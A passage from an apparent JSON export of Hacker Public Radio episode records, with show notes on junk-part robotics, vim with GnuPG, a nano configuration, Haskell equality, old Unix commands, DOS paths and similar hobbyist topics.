                                                              \n
                                                            • hpr3459\n(2021-11-04) \"Linux Inlaws S01E42: The Open Source Initiative\"\nby monochromec.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nOliver on 2021-11-29:\n\"TerminusDB Link\"

                                                              \n
                                                            • hpr3461\n(2021-11-08) \"Changes to HPR Branding\"\nby HPR Volunteers.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nMike eSpeak Ray on 2021-11-08:\n\"TTS\"

                                                              \n
                                                            • hpr3464\n(2021-11-11) \"Being irrational\"\nby Andrew Conway.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nbrian-in-ohio on 2021-11-11:\n\"a serendipitous quote\"

                                                              \n
                                                            • hpr3465\n(2021-11-12) \"Walmart Onn 7 inch tablet gen 2\"\nby JWP.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nPipeManMusic on 2021-11-12:\n\"Real numbers to an off hand comment.\"

                                                              \n
                                                            • hpr3466\n(2021-11-15) \"Why HPR has less downloads\"\nby JWP.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nKen Fallon on 2021-11-15:\n\"On the rise again\"

                                                              \n
                                                            • hpr3470\n(2021-11-19) \"External Commands and Emergency Boot Disk\"\nby Ahuka.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nTrey on 2021-11-19:\n\"Oh what happy memories\"
                                                              • Comment 2:\nKevin O'Brien on 2021-11-19:\n\"You are most welcome\"

                                                              \n
                                                            • hpr3471\n(2021-11-22) \"The Sony Walkman WM-F41\"\nby Jon Kulp.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nTrey on 2021-11-22:\n\"Capacitors\"
                                                              • Comment 2:\nKeith on 2021-11-23:\n\"They really are great devices\"
                                                              • Comment 3:\nJon Kulp on 2021-11-23:\n\"Recapping\"

                                                              \n
                                                            • hpr3472\n(2021-11-23) \"consuming an AQI API\"\nby Jezra.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nKevin O'Brien on 2021-11-27:\n\"I loved the show\"

                                                              \n
                                                            • hpr3473\n(2021-11-24) \"My journey into Amateur Radio\"\nby thelovebug.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nTrey on 2021-11-24:\n\"Congrats\"

                                                              \n
                                                            • hpr3474\n(2021-11-25) \"H P R and Audio Fun\"\nby operat0r.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nKen Fallon on 2021-11-27:\n\"No please don't add silence to the audio\"

                                                              \n
                                                            \n\n

                                                            Mailing List discussions

                                                            \n

                                                            \nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the Mail List which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\nMailman.\n

                                                            \n

                                                            The threaded discussions this month can be found here:

                                                            \nhttps://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2021-November/thread.html\n\n\n

                                                            Events Calendar

                                                            \n

                                                            With the kind permission of LWN.net we are linking to\nThe LWN.net Community Calendar.

                                                            \n

                                                            Quoting the site:

                                                            \n
                                                            This is the LWN.net community event calendar, where we track\nevents of interest to people using and developing Linux and free software.\nClicking on individual events will take you to the appropriate web\npage.
                                                            \n\n

                                                            Any other business

                                                            \n\n

                                                            In the upload form there is the option to provide shows via a URL. This must be a publicly available URL that is accessible without authentication via command line tools like wget or curl.

                                                            \n

                                                            Older HPR shows on archive.org

                                                            \n

                                                            This month 115 additional shows in the range 1-870 have been uploaded.

                                                            \n

                                                            The number of shows left to upload in this range is now: 369.

                                                            \n

                                                            Tags and Summaries

                                                            \n

                                                            Hooray! There are now no more shows that need summaries or tags!

                                                            \n

                                                            See the notes for episode 3456 for a list of all the contributors to this project

                                                            \n\n\n","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":0,"valid":1}, {"id":3482,"date":"2021-12-07","title":"Introduction to Post Apocalyptic Robotics Meta Technology","duration":810,"summary":"Building robots from junk parts and tech prepping","notes":"

                                                            https://solarbotics.net/bftgu/default.htm
                                                            \nhttps://www.bitchute.com/video/jwD4sZhnXrEk/

                                                            \n

                                                            Hail to my Loyal Henchmen and fellow SuperVillains, welcome new recruits and greetings to the hackers of HPR.

                                                            \n

                                                            This is Mechatroniac the mechatronics maniac with the zeroth installment of Robot Warlords of the Apocalypse, where I will talk about post apocalyptic robotics and share my projects, philosophy and future ambitions.

                                                            \n

                                                            I am doing this podcast contribution for hacker public radio.

                                                            \n

                                                            hackerpublicradio.org

                                                            \n

                                                            After this has aired on HPR I will be adding video and to this presentation which will be uploaded to my channel at:

                                                            \n

                                                            https://bitchute.com/channel/mechatroniac point youtube-dl at it and download them all.

                                                            \n

                                                            Mechatronics is code, electronics and mechanics working together as a system. I am weak in all 3, but have built mini battlebot style robots completely from scratch, with every chassis part, every motor and wheel, and every circuit that drives them sourced for free from junk like discarded printers, dvds, tvs, computers and UPS.

                                                            \n

                                                            I am calling this ethos and the resultant aesthetic, Post Apocalyptic Robotics, that is robots that can be built by reclaiming existing post consumer products to create something new.

                                                            \n

                                                            Currently they are confined to smooth surfaces like battlebot arenas, but more rugged terrain bots are currently also being worked on, and I want to work towards autonomous and swarm robots as well.

                                                            \n

                                                            The recipes I release here, can be followed by anyone to build their own robots and devices, by simply gathering the required scrap units or similar as described; then disassembling, then finally reassembling into a new meta technological device.

                                                            \n

                                                            I hope that others will do the same, and come up with their own innovations and new recipes that can be added to our incipient swarms of meta-technological bots as they evolve ever more sophistication.

                                                            \n

                                                            Welcome to post apocalyptic robotics.

                                                            \n

                                                            Introduction to Post-Apocalypse Robotics Meta-technology

                                                            \n

                                                            Tech Prepping, Building a 'battlebot' out of junk

                                                            \n

                                                            Meteors, asteroids, comets. Cataclysmic solar flares, massive volcanic eruptions and earthquakes triggering massive tsunamis, social unrest, runaway climate change, ransomware and EMPs attacks striking electric grids, deadly viral pandemics, mass hysteria, big boats blocking waterways, obscured malware in a systemd update, management engines at the heart of CPUs providing backdoors to Intel and AMD hardware at root -3 privilege... what could go wrong there?

                                                            \n

                                                            There are a large number of looming events which could collapse technological society as it is, wiping out most of the internet and shipping and transport and hopefully maybe even the government.

                                                            \n

                                                            Tech Prepping is more important than food prepping

                                                            \n

                                                            While most survivalist and prepper types concentrate on stacking cans of beans, seeds, fuel and ammo, the robot prepper will also be hoarding books on pdf, component datasheets, software libraries, breakout boards and every post EOL electronics product they can get their hands on.

                                                            \n

                                                            In a semi apocalyptic scenario where the trucks stop rolling, a lot of people who save seeds will be able to grow food in their communities, so food won't be such a big deal.

                                                            \n

                                                            There might even be some that figure out how to make petroleum from wood like mrteslonian channel on youtube.

                                                            \n

                                                            But a real crux will be analog, digital electronics technology, IT and mechatronics. Those communities with working electronics, mechatronics, and information technology infrastructure, will be at a distinct competitive advantage. They will be able to leverage this in such things as automation of agriculture, from watering schedules to weed pulling along with many other applications that will make the PAR communities ascendant. All else being equal, PAR will be a force multiplier vs hostile neighbours starved of their slaveslabs swiping because facebook no longer exists, or remnants of the tyrannical state coming out of their DUMB bunkers and thinking they still have the right to rule.

                                                            \n

                                                            It's a good thing then, that we have a boost up to a mechatronic technological society all around us in the electronic consumer devices that although they may be decrepit, soiled and/or dead, nonetheless contain a wealth of component parts -most of which are hardy enough to function for a very long time, components that can be reused in new applications.

                                                            \n

                                                            It's like there is a supply chain for robot factories all around us. It's not infinite but it is very plentiful at the moment. Sadly, our society is blind to the current and future worth of the technological legacy in our midst and the electronics recycling is electronics destruction.

                                                            \n

                                                            Meta technology

                                                            \n

                                                            Antecedents: BEAM, cyberpunk, road warrior

                                                            \n

                                                            Fellow Travellers/Parallels: Maker, Right to repair, hardware hacking(Valerio De Giampietro - Hardware Hacking Tutorial), CollapseOS

                                                            \n

                                                            One of this new meta technology's main antecedents is BEAM(Biology Evolution Aesthetics Mechanics) robotics, Mark Tilden's robot projects that eschewed microprocessors in favour of circuits built of discrete components that mimic biological nerves and can react to environmental stimuli. There is a nice archive of BEAM related documents on the solarbotics site.

                                                            \n

                                                            Mark Tilden even wrote a book called 'Junk Bots', so must have had some of the same ideas I have... but where Mark uses transistors as the nerves and brains, I am using arduino since microprocessors are now very inexpensive.

                                                            \n

                                                            The use of arduino is the only thing keeping my projects from being completely PAR, but one day wish to have entirely PAR

                                                            \n

                                                            Thus right to repair and hardware hacking are thus two important aspects to utilizing the processors inside consumer products to run other operating systems for our use. Unless we hoard thousands of atmega328p chips, it will be difficult to find processors that we can use unless they have been liberated via techniques described by Valerio De Giampietro. Reusing processors from printers and other products is a goal for the future, but right now, let's have some fun.

                                                            \n

                                                            FUN and Education The first arduino PAR battlebot I built - the herald/interceptor; is powered by 5 18650 cells from trashed laptops, powertrain is a custom hybrid relay/MOSFET H-bridge, and it is driven by four electric motors and wheels harvested from PA printers. It has IR remote control and is very fast to the extent that I had to add rubber bumpers to it to keep it and others safe.

                                                            \n

                                                            I departed somewhat from the PAR ethos, with added front and rear ultrasonic sensors, and an mp3 player powering a tv speaker. Hence, it is the herald/interceptor

                                                            \n

                                                            I think it has an interesting road warrior cyberpunk aesthetic, with the grey steel, aluminum and black ABS parts, and but for the wheels; star wars for the bolted on look of it

                                                            \n

                                                            Can we set up PAR tournaments where we can bring our bots and battle it out? Cost is no longer a barrier.

                                                            \n

                                                            I could see a challenging new sport that is a cross between battlebots and junkyard wars, where contestants would have a set amount of time to build a bot from junk, and then compete in racing or sumo matches.

                                                            \n

                                                            Obviously you are going to learn a lot building a robot and the best way to learn is by doing.

                                                            \n

                                                            Alright, now that I have shown some of the important strategic and fun implications of PAR meta technology, by raiding trashed consumer electronics for their components: I hope at the very least that everyone hearing this never again take their post use electronics to one of those recycling centers where all those precious components are destroyed, instead of keeping it in your basement where it belongs. You'd do better taking it to a landfill where perhaps some future wretched mutant can discover and make use of it, than take it to electronics recycling.

                                                            \n

                                                            Next episode I'll show you how to build your PAR laboratory and give you the ingredients to the herald/interceptor battlebot, but if you're already excited to get started you can order an arduino Uno or nano, or an arduino kit with a bunch of sensors like I did when I got started. You can also start gathering things like printers, tvs, dvds, UPS and other waste, and get a soldering station if you don't already have one.

                                                            \n

                                                            In the coming episodes I will share the detailed recipe for my first post apocalyptic battlebot style robot I built complete with arduino code, and will show you how to build your own robot for free except for the arduino*. I'll also do email tech support for anyone having problems.

                                                            \n

                                                            I also want to go further into other tech prepper archiving, in case all or large parts of the internet are no longer accessible, and this may be where you programming specialists might be able to help. They kind of gave me weird looks on the arduino forums when I asked for a way to download all the libraries but was finally able to beg a script that let me download a lot of them, if not all.

                                                            \n

                                                            Also, all the component datasheets would be handy... it seems it would be prudent to have datasheets on all the components and microprocessors that you possibly can, and to have all the software libraries it would be practical to archive.

                                                            \n

                                                            I'll also go into more aspects and implications of this exciting meta technology, and I hope you will join me in building post apocalypse robotics and mechatronics fun.

                                                            \n","hostid":401,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"beam,righttorepair,robots,mechatronics","version":0,"downloads":0,"valid":1}, {"id":3483,"date":"2021-12-08","title":"Pinephone64 review","duration":563,"summary":"Sigflup got a pinephone and wants to talk about it. ","notes":"

                                                            ringtone location: /usr/share/sounds/freedesktop/stereo

                                                            \n\n

                                                            \n
                                                            \nGimp on a cellphone, for obvious reasons.

                                                            \n\n\n

                                                            Links

                                                            \n\n\n","hostid":115,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"linux,cellphone,pinephone,mobie phone","version":0,"downloads":0,"valid":1}, {"id":3484,"date":"2021-12-09","title":"My vim setup with GnuPG","duration":501,"summary":"My vim setup with the GnuPG vim plugin","notes":"

                                                            Using the GnuPG vim plugin to edit encrypted files.

                                                            \n\n

                                                            Line to directly clone from github

                                                            \n
                                                              git clone https://github.com/vim-scripts/gnupg.vim
                                                            \n

                                                            From man 1 gpg-agent:

                                                            \n
                                                            \n

                                                            You should always add the following lines to your .bashrc or whatever initialization file is used for all shell invocations:

                                                            \n
                                                            GPG_TTY=`tty`\nexport GPG_TTY
                                                            \n

                                                            It is important that this environment variable always reflects the output of the tty command.

                                                            \n
                                                            \n

                                                            .bashrc snippet

                                                            \n
                                                              ## GPG Vim\n  GPG_TTY=`tty`\n  export GPG_TTY\n  export EDITOR=vim
                                                            \n

                                                            GnuPG folder structure

                                                            \n
                                                              [mark@fedora-lt ~]$ tree .vim\n  .vim\n  ├── plugin\n  │   └── vim-gnupg\n  │       ├── autoload\n  │       │   └── gnupg.vim\n  │       ├── doc\n  │       │   └── gnupg.txt\n  │       ├── plugin\n  │       │   └── gnupg.vim\n  │       └── README.md\n  └── spell\n      ├── en.utf-8.add\n      └── en.utf-8.add.spl
                                                            \n

                                                            vimrc

                                                            \n
                                                            set tabstop=2 softtabstop=0 expandtab shiftwidth=2 smarttab textwidth=80\nsyntax on\nautocmd BufRead,BufNewFile   *.log set filetype=logtalk\nset spell spelllang=en_us
                                                            \n

                                                            Generate gpg full key
                                                            \ngpg --full-generate-key

                                                            \n

                                                            or just a regular one, with less options
                                                            \ngpg --gen-key

                                                            \n

                                                            Encrypt the file in question, with -r as the recipient
                                                            \nIn this case, I used part of the comment as the recipient

                                                            \n

                                                            Picture 1
                                                            \n\"Picture
                                                            Click the thumbnail to see the full-sized image

                                                            \n

                                                            This is more like it.
                                                            \ngpg -e -r test thisIsMyTestFile.txt

                                                            \n

                                                            Now test edit the file
                                                            \nvim thisIsMyTestFile.txt.gpg

                                                            \n

                                                            Picture 2
                                                            \n\"Picture

                                                            \n

                                                            It is a good idea to shred the original text file

                                                            \n
                                                                  shred - overwrite a file to hide its contents, and optionally delete it\n      -u deallocate and remove file after overwriting\n      -v, --verbose, show progress
                                                            \n

                                                            Example: shred -u -v foo.txt

                                                            \n","hostid":318,"series":11,"explicit":0,"license":"CC-BY-SA","tags":"vim, plugin, lightweight","version":0,"downloads":0,"valid":1}, {"id":3485,"date":"2021-12-10","title":"50 years since the 1st Edition of Unix was published","duration":747,"summary":"Ken (Fallon not Thompson) checks his unix like computer to see how many commands still exist.","notes":"

                                                            top ten of the first unix commands

                                                            \n

                                                            50 years after the 1st Edition of Unix was published, Ken (Fallon not Thompson) checks his unix like computer to see how many commands still exist (38) and how many are not installed by default (23).

                                                            \n

                                                            Thanks to @bsdimp on twitter for the post. Also to @atoponce@fosstodon.org and @obra@mastodon.social for the tip.

                                                            \n

                                                            Packages I don't have installed

                                                            \n

                                                            Many are available under another name but I have not installed them. Seven of the of the twenty two relates to tapes.

                                                            \n
                                                            \nB     -- language\nbas   -- basic\nbcd   -- binary coded decimal conversion\nboot  -- reboot system\nchdir -- change working directory\ncheck -- file system consistency check\ndb    -- debug\ndbppt -- dump binary paper tape\ndsw   -- delete interactively\ndtf   -- DECtape format\nfor   -- fortran\nform  -- form letter generator\nhup   -- hang up typewriter\nlbppt -- load binary paper tapes\nrew   -- rewind tape\nrkd   -- dump RK disk to tape\nrkf   -- format RKO3 disk pack\nrkl   -- reload RK disk from tape\nroff  -- format text\nsdate -- set date and time\ntap   -- manipulate DECtape\ntm    -- provide time information\nun    -- undefined symbols\n
                                                            \n\n\n
                                                            \n     1  10108 ls\n     2   2847 find\n     3   1985 rm\n     4   1482 mv\n     5    887 cat\n     6    649 for\n     7    544 mkdir\n     8    341 cp\n     9    280 rmdir\n    10    202 df\n
                                                            \n","hostid":30,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"unix, unix commands","version":0,"downloads":0,"valid":1}, {"id":3486,"date":"2021-12-13","title":"Unleash the true potential of GNU nano text editor","duration":516,"summary":"Turn GNU nano text editor into a fancy, good looking & powerful editor","notes":"

                                                            Text editors are highly subjective and highly opinionated commodities. Everyone is aware of infamous rivalry between users of Emacs and Vi/Vim. Every single text editor has its own strengths and weaknesses. At the end of the day it's the question of your personal preferences and muscle memory when it comes to default key-bindings. Both Emacs and Vim have a learning curve. Steepness of that curve depends on the person's background and interests. Hey, but today I'm not here to talk about Emacs and Vim. I'm here to talk about a simple, easy to use and almost ever present text editor called GNU nano. So what exactly is this nano text editor? Well, according to documentation available on GNU nano's website,

                                                            \n
                                                            \n

                                                            GNU nano was designed to be a free replacement for the Pico text editor, part of the Pine email suite from The University of Washington. It aimed to \"emulate Pico as closely as is reasonable and then include extra functionality\".

                                                            \n
                                                            \n

                                                            Pico and Pine email suites are still around so what was the need to create nano in the first place? The answer is license. Pico and Pine email suites nowadays are available under Apache-2.0 license but that always wasn't the case and this ambiguity in the original licensing terms of the Pico editor led to the creation of nano. It was first created in 1999 with the name TIP (an acronym for TIP Isn't Pico), by Chris Allegretta. The name was changed to nano on January 10th, 2000 to avoid a naming conflict with the existing Unix utility tip. The name comes from the system of SI prefixes, in which nano is 1000 times larger than pico. In February 2001, nano became a part of the GNU Project. BTW if you want to know more about SI prefixes, I'd highly recommend you to listen to HPR episode 3453 - Engineering notation by Ken Fallon.

                                                            \n

                                                            nano is really small in footprint and is relatively easy to use compared to Emacs and Vim and perhaps this is the reason why you'd invariably find it already installed on almost all GNU/Linux distributions. If you have ever used nano before you might have noticed that it looks kinda boring; there are no line-numbers nor there is any syntax highlighting and spell-checking also seems absent. But this is not true. nano has all of these features and even some more like regex searches, indentation, multiple buffers, available at its disposal. Then why does it come across as a plain Jane? The short answer is, I honestly don't know! For some unknown and obscure reasons many of nano's cool features are disabled by default. This results in nano coming across as a plain Jane little text editor that is uncool. And as I mentioned earlier, that is not true. But worry not! It is so darn easy to unleash the true potential of nano and make it shine. Are you ready? Great! Let's do it together then!

                                                            \n

                                                            First thing we need to to do is create a file with the name .nanorc in the $HOME directory. Open your terminal emulator and run,

                                                            \n
                                                            touch $HOME/.nanorc\n
                                                            \n

                                                            We'd also need to create a directory called Nano_Backups in our Documents directory. To do so run the following command,

                                                            \n
                                                            mkdir -p $HOME/Documents/Nano_Backups\n
                                                            \n

                                                            Next open that .nanorc file and simply paste the following content in it,

                                                            \n
                                                            set atblanks\nset autoindent\nset backup\nset backupdir "/home/USERNAME/Documents/Nano_Backups"\nset boldtext\nset constantshow\nset cutfromcursor\nset indicator\nset linenumbers\nset magic\nset minibar\nset mouse\nset showcursor\nset softwrap\nset speller "aspell -x -c"\nset trimblanks\nset whitespace "»·"\nset zap\nset multibuffer\n\nset titlecolor bold,lightwhite,blue\nset promptcolor lightwhite,lightblack\nset statuscolor bold,lightwhite,green\nset errorcolor bold,lightwhite,red\nset spotlightcolor black,lime\nset selectedcolor lightwhite,magenta\nset stripecolor ,yellow\nset scrollercolor cyan\nset numbercolor cyan\nset keycolor cyan\nset functioncolor green\n\ninclude "/usr/share/nano/*.nanorc"\n\nbind ^Q exit all\nbind ^S savefile main\nbind ^W writeout main\nbind ^O insert main\nbind ^H help all\nbind ^H exit help\nbind ^F whereis all\nbind ^G findnext all\nbind ^B wherewas all\nbind ^D findprevious all\nbind ^R replace main\nbind ^X cut main\nbind ^C copy main\nbind ^V paste all\nbind ^P location main\nbind ^E execute main\nbind ^A mark main\nunbind ^K main\nunbind ^U all\nunbind ^N main\nunbind ^Y all\nunbind M-J main\nunbind M-T main\nbind ^T gotoline main\nbind ^T gotodir browser\nbind ^T cutrestoffile execute\nbind ^L linter execute\nbind M-U undo main\nbind M-R redo main\nbind ^Z undo main\nbind ^Y redo main\n
                                                            \n

                                                            You'll have to replace USERNAME in the line number four, set backupdir \"/home/USERNAME/Documents/Nano_Backups/\" with your actual username and then save this file.

                                                            \n

                                                            Wouldn't it be nice if the colors in nano were different for a normal user and a root user? Yes, for sure. To do so create an empty .nanorc file in the root's directory,

                                                            \n
                                                            sudo touch /root/.nanorc\n
                                                            \n

                                                            Next create the backup directory Nano_Backups in root's Documents directory. To do so run the following command,

                                                            \n
                                                            sudo mkdir -p /root/Documents/Nano_Backups\n
                                                            \n

                                                            Open that /root/.nanorcfile and paste this content in it and save the changes,

                                                            \n
                                                            set atblanks\nset autoindent\nset backup\nset backupdir "/root/Documents/Nano_Backups/"\nset boldtext\nset constantshow\nset cutfromcursor\nset indicator\nset linenumbers\nset magic\nset minibar\nset mouse\nset showcursor\nset softwrap\nset speller "aspell -x -c"\nset trimblanks\nset whitespace "»·"\nset zap\nset multibuffer\n\nset titlecolor bold,lightwhite,magenta\nset promptcolor black,yellow\nset statuscolor bold,lightwhite,magenta\nset errorcolor bold,lightwhite,red\nset spotlightcolor black,orange\nset selectedcolor lightwhite,cyan\nset stripecolor ,yellow\nset scrollercolor magenta\nset numbercolor magenta\nset keycolor lightmagenta\nset functioncolor magenta\n\ninclude "/usr/share/nano/*.nanorc"\n\nbind ^Q exit all\nbind ^S savefile main\nbind ^W writeout main\nbind ^O insert main\nbind ^H help all\nbind ^H exit help\nbind ^F whereis all\nbind ^G findnext all\nbind ^B wherewas all\nbind ^D findprevious all\nbind ^R replace main\nbind ^X cut main\nbind ^C copy main\nbind ^V paste all\nbind ^P location main\nbind ^E execute main\nbind ^A mark main\nunbind ^K main\nunbind ^U all\nunbind ^N main\nunbind ^Y all\nunbind M-J main\nunbind M-T main\nbind ^T gotoline main\nbind ^T gotodir browser\nbind ^T cutrestoffile execute\nbind ^L linter execute\nbind M-U undo main\nbind M-R redo main\nbind ^Z undo main\nbind ^Y redo main\n
                                                            \n

                                                            What we have just done is, we have enabled some useful features of nano and changed the default keybindings to the more familiar ones like Ctrl+C for copying, Ctrl+X for cutting, Ctrl+V for pasting and a bunch of other key combinations. We've also enabled automatic backing-up of documents. Backups will get saved in the user's Documents/Nano_Backups directory.

                                                            \n

                                                            Spell checker is enabled in nano via this configuration but to utilize it you'll have to install aspell and aspell-dictionary from your package manager.

                                                            \n

                                                            Kudos! We have turned a timid GNU nano into a powerful wildebeest. Try this configuration and if possible leave your feedback.

                                                            \n

                                                            A word of warning. Package maintainers often ship stripped down versions of nano so one of these features might not be present in your installation and in that case, nano will throw some errors and refuse to start. You have two choices in that scenario; first, disable that feature by deleting the corresponding line from .nanorc file. Your second option is to download the nano source code and compile it yourself with all the features intact. If I were you, I'd go with the second option as compiling nano is really simple and straightforward. Only extra packages that you will need are libncurses-dev and libmagic-dev.

                                                            \n

                                                            I'll leave you guys with a quote from some wise man,

                                                            \n
                                                            \n

                                                            Good Things Come in Small Packages.

                                                            \n
                                                            \n","hostid":397,"series":11,"explicit":1,"license":"CC-BY-SA","tags":"text-editor, terminal, linux, nano, pico, pine, nanorc","version":0,"downloads":0,"valid":1}, {"id":3487,"date":"2021-12-14","title":"Installing a cat door","duration":1446,"summary":"Rho`n installs a cat door in his interior basement door","notes":"

                                                            Synopsis

                                                            \n

                                                            In today's episode, Rho`n installs a cat door in the basement door separating the finished side of the basement from the utility side. Follow along as he learns once again that it is best to read all the instructions before starting a project, and also learns that modern, inexpensive, interior doors are not made of wood.

                                                            \n\n

                                                            The following are the pictures taken during the project.

                                                            \n\n
                                                            \n
                                                            \n\t\"Basement\n
                                                            Basement door laid out on a table with the cat door template applied
                                                            \n
                                                            \n
                                                            \n \"Basement\n
                                                            Basement door after cutting a hole through it. Showing the hole and the interior of the door.
                                                            \n
                                                            \n
                                                            \n \"View\n
                                                            View from the finished side of the basement showing the installed cat door.
                                                            \n
                                                            \n
                                                            \n \"View\n
                                                            View from the utility side of the basement showing the installed cat door.
                                                            \n
                                                            \n
                                                            \n

                                                            Attribution

                                                            \n\n

                                                            The transition sound used between audio clips is found on freesound.org:
                                                            \nName: Harp Transition Music Cue
                                                            \nAuthor: DanJFilms
                                                            \nLicense: Creative Commons Zero

                                                            \n","hostid":293,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Install, cat door","version":0,"downloads":0,"valid":1}, {"id":3488,"date":"2021-12-15","title":"Binaural 3d audio recording, please listen at normal speed with good head phones.","duration":302,"summary":"recorded November 19 2021 quick storm.","notes":"

                                                            Recorded November 19 2021 quick storm. Please search Binaural on HPR for similar recordings and description of procedure, enjoy and have a glorious 2022.

                                                            \n

                                                            Links

                                                            \n\n","hostid":110,"series":101,"explicit":0,"license":"CC-BY-SA","tags":"Binaural, storm, thunder","version":0,"downloads":0,"valid":1}, {"id":3489,"date":"2021-12-16","title":"Equality of structured errors","duration":776,"summary":"Tuula talks about equality in Haskell","notes":"

                                                            Equality of structured errors

                                                            \n

                                                            Background

                                                            \n

                                                            In previous episode, I built a system where error codes weren't defined in one huge type. This made compilation times faster and maintenance quite a bit more easier.

                                                            \n

                                                            Problem

                                                            \n

                                                            I wanted to write a test to see that parameters passed to validatePatchApiPersonR are validated correctly. patchApiPersonR is used by client to do partial updates on a Person entity. There's three different cases I wanted to check:

                                                            \n
                                                              \n
                                                            • trying to change life focus too soon (there's 5 year cooldown)
                                                            • \n
                                                            • trying to select same life focus that has already been selected
                                                            • \n
                                                            • trying to modify somebody else's avatar
                                                            • \n
                                                            \n

                                                            Code is shown below and the last 2 lines are the interesting ones. There I'm using equality to compare if a given error exists in a list of errors created by validatePatchApiPersonR.

                                                            \n
                                                            spec :: Spec\nspec = do\n    describe "people" $ do\n        describe "life focus" $ do\n            describe "Validating requests" $ do\n                it "All errors are reported" $ do\n                    forAll anyCompletelyFaultyRequest $\n                        \\(userE, personE, msg, date) ->\n                            let res = validatePatchApiPersonR (userE ^. entityKeyL, userE ^. entityValL, personE, msg, date)\n                                newFocus = msg ^? patchPersonRequestLifeFocus . _Just . _Just\n                            in\n                                case res of\n                                    V.Success _ ->\n                                        expectationFailure "Invalid request was not detected"\n\n                                    V.Failure errs -> do\n                                        errs `shouldSatisfy` (\\xs -> any (\\x -> "CanNotChangeLifeFocusSoSoon" `isInfixOf` (pack $ show x)) xs)\n                                        errs `shouldContain` [ canNotReselectSameLifeFocus newFocus ]\n                                        errs `shouldContain` [ insufficientRights ]\n
                                                            \n

                                                            Detour on equality

                                                            \n

                                                            Equality in Haskell works slightly differently compared to for example C#. There is no built in, default implementation that gets used when the programmer hasn't written their own. If you want to compare equality, there needs to be implementation specific to your data types. This is done by making an instance of type class Eq (https://hackage.haskell.org/package/base-4.15.0.0/docs/Data-Eq.html).

                                                            \n
                                                            class Eq a where\n  (==) :: a -> a -> Bool\n  (/=) :: a -> a -> Bool\n
                                                            \n

                                                            There's two functions: == for equality and /= for inequality. You need to implement either one.

                                                            \n

                                                            Back to problem

                                                            \n

                                                            ECode is our structured error code type and defined as follows (this is short recap of previous episode):

                                                            \n
                                                            data ECode where\n    ECode :: (ErrorCodeClass a, ToJSON a, Eq a, Show a) => a -> ECode\n
                                                            \n

                                                            It can wrap anything that has correct type class instances and you will always get ECode as a result. It hides the specific type of thing being wrapped and only functions defined in type classes are available.

                                                            \n

                                                            First try

                                                            \n

                                                            Peel away ECode and compare what's inside and compare wrapped values:

                                                            \n
                                                            instance Eq ECode where\n    ECode a == ECode b =\n        a == b\n
                                                            \n

                                                            This will lead into a error \"Couldn't match expected type ‘a’ with actual type ‘a1’. ‘a1’ is a rigid type variable bound by a pattern with constructor...\". This is because ECode can wrap many different types, there is no quarantee that you're comparing values of same type. The whole error is show below for reference:

                                                            \n
                                                            [35 of 76] Compiling Errors           ( src/Errors.hs, .stack-work/dist/x86_64-linux/Cabal-2.2.0.1/build/Errors.o )\n\n/home/tuula/programming/sky/src/Errors.hs:148:14: error:\n    • Couldn't match expected type ‘a’ with actual type ‘a1’\n      ‘a1’ is a rigid type variable bound by\n        a pattern with constructor:\n          ECode :: forall a.\n                   (ErrorCodeClass a, ToJSON a, Eq a, Show a) =>\n                   a -> ECode,\n        in an equation for ‘==’\n        at src/Errors.hs:147:16-22\n      ‘a’ is a rigid type variable bound by\n        a pattern with constructor:\n          ECode :: forall a.\n                   (ErrorCodeClass a, ToJSON a, Eq a, Show a) =>\n                   a -> ECode,\n        in an equation for ‘==’\n        at src/Errors.hs:147:5-11\n    • In the second argument of ‘(==)’, namely ‘b’\n      In the expression: a == b\n      In an equation for ‘==’: ECode a == ECode b = a == b\n    • Relevant bindings include\n        b :: a1 (bound at src/Errors.hs:147:22)\n        a :: a (bound at src/Errors.hs:147:11)\n    |\n148 |         a == b\n    |\n
                                                            \n

                                                            Second try

                                                            \n

                                                            We can use Show to turn ECode into string and compare them. This is what I did initially.

                                                            \n
                                                            instance Eq ECode where\n    a == b = show a == show b\n
                                                            \n

                                                            While this works, it feels hacky. It relies on string representations being different. If you accidentally write Show instance in a way that produces same string with two different values, the comparison breaks down.

                                                            \n

                                                            Third time is a charm

                                                            \n

                                                            After pondering a bit, I asked myself a question \"When are two ECode equal?\". The answer I arrived is \"When they have same http status code and description.\" Then I could write yet different take on equality:

                                                            \n
                                                            instance Eq ECode where\n    a == b =\n        httpStatusCode a == httpStatusCode b\n        &&  description a == description b\n
                                                            \n

                                                            This states that to two ECode values are equal, if they have same httpStatusCode and description.

                                                            \n

                                                            Thanks for listening, if you have any questions or comments, you can reach me via email or in fediverse, where I'm Tuula@tech.lgbt. Or even better, you could record your own hacker public radio episode.

                                                            \n

                                                            Ad astra!

                                                            \n","hostid":364,"series":107,"explicit":1,"license":"CC-BY-SA","tags":"haskell, eq","version":0,"downloads":0,"valid":1}, {"id":3490,"date":"2021-12-17","title":"The Path","duration":906,"summary":"More on DOS. This time it is the Path.","notes":"

                                                            In this DOS tutorial we take a look at the Path, an important concept. While the concept continues to be used in modern operating systems like Linux, in DOS you had severe limitations you always had to be conscious of. Remember that this was in the days when 640KB was enough memory for anyone.

                                                            \n

                                                            Links:

